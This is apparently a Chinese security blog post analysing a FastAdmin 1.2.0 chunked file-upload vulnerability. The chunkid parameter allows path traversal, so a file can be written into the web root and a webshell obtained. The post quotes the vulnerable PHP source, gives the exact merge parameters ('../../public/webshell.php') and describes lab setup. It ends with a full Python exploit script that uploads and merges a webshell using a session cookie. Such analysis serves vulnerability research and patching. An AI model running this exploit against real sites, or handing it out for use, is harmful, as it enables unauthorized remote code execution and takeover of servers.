Fastadmin最新文件上传漏洞可Getshell分析

一、漏洞详情:

image-20210407185344994

从公开的文章可以得到以下信息:

  1. 漏洞利用需要普通用户权限并且配置开启了分片上传功能
  2. 漏洞api在index/ajax/upload
  3. 源码上传路径固定,可以推测出
  4. 漏洞位置application/api/controller/Common.php#upload()

二、源码分析

这里说明下,分片功能是在FastAdmin1.2.0版本才开始使用,所以下载的话从V1.2.0.20201001_beta版本及之后的版本下载。

image-20210407175758926

1、upload() 上传文件源码分析

application/api/controller/Common.php#upload()源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/**
* 上传文件
* @ApiMethod (POST)
* @param File $file 文件流
*/
public function upload()
{
Config::set('default_return_type', 'json');
//必须设定cdnurl为空,否则cdnurl函数计算错误
Config::set('upload.cdnurl', '');
$chunkid = $this->request->post("chunkid");
if ($chunkid) {
if (!Config::get('upload.chunking')) {
$this->error(__('Chunk file disabled'));
}
$action = $this->request->post("action");
$chunkindex = $this->request->post("chunkindex/d");
$chunkcount = $this->request->post("chunkcount/d");
$filename = $this->request->post("filename");
$method = $this->request->method(true);
if ($action == 'merge') {
$attachment = null;
//合并分片文件
try {
$upload = new Upload();
$attachment = $upload->merge($chunkid, $chunkcount, $filename);
} catch (UploadException $e) {
$this->error($e->getMessage());
}
$this->success(__('Uploaded successful'), ['url' => $attachment->url, 'fullurl' => cdnurl($attachment->url, true)]);
} elseif ($method == 'clean') {
//删除冗余的分片文件
try {
$upload = new Upload();
$upload->clean($chunkid);
} catch (UploadException $e) {
$this->error($e->getMessage());
}
$this->success();
} else {
//上传分片文件
//默认普通上传文件
$file = $this->request->file('file');
try {
$upload = new Upload($file);
$upload->chunk($chunkid, $chunkindex, $chunkcount);
} catch (UploadException $e) {
$this->error($e->getMessage());
}
$this->success();
}
} else {
$attachment = null;
//默认普通上传文件
$file = $this->request->file('file');
try {
$upload = new Upload($file);
$attachment = $upload->upload();
} catch (UploadException $e) {
$this->error($e->getMessage());
}

$this->success(__('Uploaded successful'), ['url' => $attachment->url, 'fullurl' => cdnurl($attachment->url, true)]);
}

}

分析代码逻辑:

  1. 获取post参数chunkid,有chunkid的情况属于分片文件,没有就是普通文件上传
  2. 获取分片文件上传需要的参数值,包括action、chunkindex、chunkcount、filename
  3. 首先判断action值,merge的话指定将会合并文件、clean的话指定将会删除冗余文件,其它情况就认为是上传分片

2、chunk()分片上传源码分析

点进chunk($chunkid, $chunkindex, $chunkcount)merge($chunkid, $chunkcount, $filename)分别分析,两个方法在application/common/library/upload.php文件

chunk源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* 分片上传
* @throws UploadException
*/
public function chunk($chunkid, $chunkindex, $chunkcount, $chunkfilesize = null, $chunkfilename = null, $direct = false)
{

if ($this->fileInfo['type'] != 'application/octet-stream') {
throw new UploadException(__('Uploaded file format is limited'));
}

$destDir = RUNTIME_PATH . 'chunks';
$fileName = $chunkid . "-" . $chunkindex . '.part';
$destFile = $destDir . DS . $fileName;
if (!is_dir($destDir)) {
@mkdir($destDir, 0755, true);
}
if (!move_uploaded_file($this->file->getPathname(), $destFile)) {
throw new UploadException(__('Chunk file write error'));
}
$file = new File($destFile);
$this->setFile($file);
return $file;
}

chunk代码逻辑:

  1. 判断Content-Type,需要是application/octet-stream才可以继续
  2. 分片文件名称以chunkid-chunkindex.part命名,形如123.php-0.part
  3. destDir没有创建的话先创建,移动文件到目标文件

3、merge()合并分片文件源码分析

merge源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
  /**
* 合并分片文件
* @param string $chunkid
* @param int $chunkcount
* @param string $filename
* @return attachment|\think\Model
* @throws UploadException
*/
public function merge($chunkid, $chunkcount, $filename)
{
$filePath = $this->chunkDir . DS . $chunkid;

$completed = true;
//检查所有分片是否都存在
for ($i = 0; $i < $chunkcount; $i++) {
if (!file_exists("{$filePath}-{$i}.part")) {
$completed = false;
break;
}
}
if (!$completed) {
$this->clean($chunkid);
throw new UploadException(__('Chunk file info error'));
}

//如果所有文件分片都上传完毕,开始合并
$uploadPath = $filePath;
// $destFile就是$uploadPath,也就是$filePath
if (!$destFile = @fopen($uploadPath, "wb")) {
$this->clean($chunkid);
throw new UploadException(__('Chunk file merge error'));
}
if (flock($destFile, LOCK_EX)) { // 进行排他型锁定
// 从0到chunkcount分片数,把所有.part文件进行合并
for ($i = 0; $i < $chunkcount; $i++) {
$partFile = "{$filePath}-{$i}.part";
if (!$handle = @fopen($partFile, "rb")) {
break;
}
// 写入文件,位置为destFile
while ($buff = fread($handle, filesize($partFile))) {
fwrite($destFile, $buff);
}
@fclose($handle);
@unlink($partFile); //删除分片
}

flock($destFile, LOCK_UN);
}
@fclose($destFile);

$file = new File($uploadPath);
$info = [
'name' => $filename,
'type' => $file->getMime(),
'tmp_name' => $uploadPath,
'error' => 0,
'size' => $file->getSize()
];
$file->setSaveName($filename)->setUploadInfo($info);
$file->isTest(true);

//重新设置文件
$this->setFile($file);

unset($file);
$this->merging = true;

//允许大文件
$this->config['maxsize'] = "1024G";

return $this->upload();
}

merge源码逻辑:

  1. 根据chunkcount分片数检查所有分片.part是否都存在
  2. 如果所有文件分片都上传完毕,开始合并:从0到chunkcount分片数,把所有.part文件进行合并,写入文件,位置为destFile,由于$destFile = @fopen($uploadPath, "wb")$uploadPath = $filePath并且$filePath = $this->chunkDir . DS . $chunkid,因此$destFile就是POST传入的chunkid值,因此chunkid如果是包含路径的文件名的话,就可以指定文件存放位置。chunkDir根据源码知道是RUNTIEM_PATH[即runtime]+chunks,其实就是fastadmin项目目录的runtime/chunks,DS是DIRECTORY_SEPARATOR,查了下DIRECTORY_SEPARATOR就是显示系统分隔符的命令 通俗讲就是转换适合系统的文件分隔符,所以如果想让webshell放置在http://ip/webshell.php ,构造chunkDir就可以用../../public/webshell.php来达成目的。

image-20210408094404668

image-20210408094640492

4、梳理漏洞信息

根据上面代码逻辑梳理

  1. post上传,需要chunkid、action、chunkindex、chunkcount、filename,其中chunkid是可包含存放路径的文件名,action属于文件操作(merge是合并、clean是删除冗余,其它情况就是上传分片)、chunkindex是分片位置,chunkcount是分片数,filename是文件名;另外文件类型需要是application/octet-stream
  2. 指定文件合并的话action=merge&chunkid=../../public/webshell.php&chunkindex=0&chunkcount=1&filename=webshell.php-0.part就可以达到合并的目的

三、搭建漏洞环境

1、下载Fastadmin:V1.2.0.20201001_beta

2、搭建php+mysql+nginx环境

使用docker-phper搭建,搭建步骤参考:docker 一键部署fastadmin,默认mysql密码是root/123456

3、问题解决:

搭建环境遇到了很多问题,遇到的问题不少,基本通过下面几个链接可以解决:

https://ask.fastadmin.net/question/1905.html

https://blog.csdn.net/qq_39999924/article/details/103716808

https://ask.fastadmin.net/article/1145.html

如果还报错:当前权限不足,无法写入配置文件application/database.php,可以cd application && chmod 777 *.php

另外如果拉取镜像过程中有提示下载某个文件失败,可以添加下镜像源如下

1
2
3
4
[root@localhost docker-phper]# vim /etc/docker/daemon.json
{
"registry-mirrors": ["http://hub-mirror.c.163.com","http://18817714.m.daocloud.io"]
}

4、install.php安装

访问install.php填写相关信息进行按照

image-20210407180936669

image-20210407182123714

5、漏洞利用条件设置

  1. 需要注册普通用户
  2. 设置application/extra/upload.php的chunking为true

image-20210407180936669

至此,环境搭建完毕。

四、复现EXP

把webshell放在同目录下进行复现即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
from json import loads

class FastAdmin_Fileupload_20210407:
def __init__(self, url):
self.url = url
# 需要假定格式为 ip:port 或者 https://ip:port,否则会报错
if "http" not in url:
self.ip = url.split(':')[0]
self.port = url.split(':')[1]
if '443' in url:
self.url = "https://" + self.url
else:
self.url = "http://" + self.url
else:
self.ip = url.split(':')[1]
self.port = url.split(':')[2]

self.info = {
"VUL": "Fastadmin_FileUpload_0407",
"VUL_NAME": "Fastadmin前台文件上传漏洞",
"TYPE": "FileUpload",
"DESCRIPTION": "FastAdmin 1.2.0版本爆出存在低权限用户有条件RCE的漏洞。当开启了分片上传功能时,fastadmin 会根据传入的 chunkid ,结合硬编码后缀来命名和保存文件,攻击者可预测文件上传路径;此后攻击者提交 分片合并 请求时,fastadmin 将会根据传入的 chunkid ,去除了上一步操作中文件名的硬编码后保存新文件,导致任意文件上传。",
"IMPACT": "FastAdmin 1.2.0 < V1.2.0.20210401_beta",
"REFERENCE": "https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg"
}

def exp(self, cookie):
vulUrl = self.url + '/index/ajax/upload'
chunkid = 'webshell.php'
file = {
'file': (chunkid, open('webshell.php', 'rb'), 'application/octet-stream')
}
data = {
'chunkid': '../../public/%s' % chunkid,
'chunkindex': 0,
'chunkcount': 1
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
'Cookie': cookie,
}
try:
rsp_upload = requests.post(url=vulUrl, files=file, data=data, headers=headers, verify=False, timeout=20)
result = loads(rsp_upload.text)
if rsp_upload.status_code == 200 and result['code'] == 1 and result['msg'] == '' and result['data'] == None:
data = {
'action': 'merge',
'chunkid': '../../public/%s' % chunkid,
'chunkindex': 0,
'chunkcount': 1,
'filename': '%s-0.part' % chunkid
}
rsp = requests.post(vulUrl, data=data, headers=headers, verify=False, timeout=20)
if rsp.status_code == 200:
print('webshell path: ' + self.url + '/%s' % chunkid)
return True
else:
return False
else:
return False
except Exception as e:
print(e)
return False


if __name__ == '__main__':
url = "http://192.168.116.132:80"
vul = FastAdmin_Fileupload_20210407(url)
cookie = 'PHPSESSID=luanbpjfh61ra83juitgoureho; uid=2; token=68772899-f4f2-4737-aff0-b6b727a585dc'
vul.exp(cookie=cookie)

参考链接:

https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg

https://ask.fastadmin.net/article/12492.html

https://ask.fastadmin.net/question/1905.html

https://blog.csdn.net/qq_39999924/article/details/103716808

https://ask.fastadmin.net/article/1145.html